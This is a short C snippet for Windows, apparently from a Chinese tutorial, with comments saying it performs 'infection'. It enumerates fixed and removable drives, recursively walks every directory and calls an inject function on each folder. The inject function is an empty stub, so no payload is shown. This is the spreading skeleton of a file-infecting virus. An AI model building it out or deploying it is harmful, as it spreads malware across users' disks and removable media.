void EnumSys(){
for(char i='A';i<='Z';i++) 
  
  { 
  
  char x[20]={i,':'}; 
  
  UINT Type=GetDriveType(x); 
  
  if(Type==DRIVE_FIXED||Type==DRIVE_REMOVABLE)//取硬盘和移动磁盘 
  
  { 
  
  EnumDirectory(x);//进行感染 此函数下面介绍 
  
  } 
  
  } 
}

  

bool EnumDirectory(TCHAR *dirpath) 
 
 { 
 
 WIN32_FIND_DATA fd; 
 
 TCHAR szTempFileFind[MAX_PATH] = { 0 }; 
 
 bool bIsFinish = false; 
 
 ZeroMemory(&fd, sizeof(WIN32_FIND_DATA)); 
 
 wsprintf(szTempFileFind, "%s\\*.*", dirpath); 
 
 HANDLE hFind = FindFirstFile(szTempFileFind, &fd); 
 
 if (hFind == INVALID_HANDLE_VALUE) 
 
 { 
 
 return false; 
 
 } 
 
 while (!bIsFinish) 
 
 { 
 
 bIsFinish = (FindNextFile(hFind, &fd)) ? false : true; 
 
 if ((strcmp(fd.cFileName, ".") != 0) && (strcmp(fd.cFileName, "..") != 0)) 
 
 { 
 
 TCHAR szFoundFileName[MAX_PATH] = { 0 }; 
 
 strcpy(szFoundFileName, fd.cFileName); 
 
 if (fd.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY) 
 
 { 
 
 TCHAR szTempDir[MAX_PATH] = { 0 }; 
 
 wsprintf(szTempDir, "%s\\%s", dirpath, szFoundFileName); 
 
 Sleep(10); 
 
 inject(szTempDir);//进行操作  此函数下面介绍 
 
 EnumDirectory(szTempDir);//递归调用 
 
 } 
 
 } 
 
 } 
 
 FindClose(hFind); 
 
 return 0; 
 
 } 
 

void inject(char* path){

}
 

  

相关文章: